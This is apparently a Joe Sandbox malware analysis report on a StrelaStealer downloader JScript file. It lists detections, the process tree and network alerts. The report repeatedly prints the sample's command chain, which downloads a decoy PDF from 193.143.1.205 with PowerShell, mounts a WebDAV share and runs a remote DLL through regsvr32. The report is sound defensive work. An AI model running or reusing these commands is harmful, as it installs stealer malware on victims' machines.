Edit tour

Windows Analysis Report
14957144702878221204.js

Overview

General Information

Sample name:	14957144702878221204.js
Analysis ID:	1591622
MD5:	041e5733e11b0793d9b8d18faf817b48
SHA1:	83fd6d8b2a671f0152c03a06bd72c613b3e41396
SHA256:	6b12285012ce9872a6bb9902007e4b800a2db2256474d74f2dd4ae8612f57eeb
Tags:	jsStrelaStealeruser-cocaman
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6648 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14957144702878221204.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5324 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\74971460628132.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5928 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2020 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5776 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 648 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7228 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1744,i,261901375073737504,10068128967198014578,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7068 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 4280 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 5824 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6648	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\74971460628132.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5324, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2020, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\74971460628132.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5324, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2020, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14957144702878221204.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14957144702878221204.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14957144702878221204.js", ProcessId: 6648, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 4280, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\74971460628132.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\74971460628132.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14957144702878221204.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6648, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\74971460628132.dll, ProcessId: 5324, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\74971460628132.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\74971460628132.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14957144702878221204.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6648, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\74971460628132.dll, ProcessId: 5324, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\74971460628132.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\74971460628132.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14957144702878221204.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6648, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\74971460628132.dll, ProcessId: 5324, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\74971460628132.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\74971460628132.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14957144702878221204.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6648, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\74971460628132.dll, ProcessId: 5324, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\74971460628132.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\74971460628132.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14957144702878221204.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6648, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\74971460628132.dll, ProcessId: 5324, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14957144702878221204.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14957144702878221204.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14957144702878221204.js", ProcessId: 6648, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\74971460628132.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5324, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2020, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7068, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4280, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5824, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7068, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4280, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\74971460628132.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\74971460628132.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14957144702878221204.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6648, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\74971460628132.dll, ProcessId: 5324, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T08:11:14.972263+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T08:11:17.427445+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T08:11:14.972263+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.4:49730 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Wed, 15 Jan 2025 07:11:14 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

